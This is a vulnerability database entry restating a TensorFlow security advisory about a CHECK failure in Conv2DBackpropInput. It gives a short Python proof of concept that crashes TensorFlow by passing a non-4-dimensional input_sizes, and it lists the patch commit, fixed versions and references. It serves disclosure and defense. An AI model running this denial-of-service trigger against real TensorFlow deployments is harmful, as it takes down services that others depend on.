PYSEC-2026-1028

Dashboard / Vulnerabilities / PYSEC-2026-1028

PYSEC-2026-1028

Summary: TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`

Details: ### Impact The implementation of `Conv2DBackpropInput` requires `input_sizes` to be 4-dimensional. Otherwise, it gives a `CHECK` failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf strides = [1, 1, 1, 1] padding = "SAME" use_cudnn_on_gpu = True explicit_paddings = [] data_format = "NHWC" dilations = [1, 1, 1, 1] input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32) filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32) out_backprop = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations) ``` ### Patches We have patched the issue in GitHub commit [50156d547b9a1da0144d7babe665cf690305b33c](https://github.com/tensorflow/tensorflow/commit/50156d547b9a1da0144d7babe665cf690305b33c). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

References: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q2c3-jpmc-gfjx, https://nvd.nist.gov/vuln/detail/CVE-2022-35969, https://github.com/tensorflow/tensorflow/commit/50156d547b9a1da0144d7babe665cf690305b33c, https://github.com/tensorflow/tensorflow, https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0, https://pypi.org/project/tensorflow-gpu, https://github.com/advisories/GHSA-q2c3-jpmc-gfjx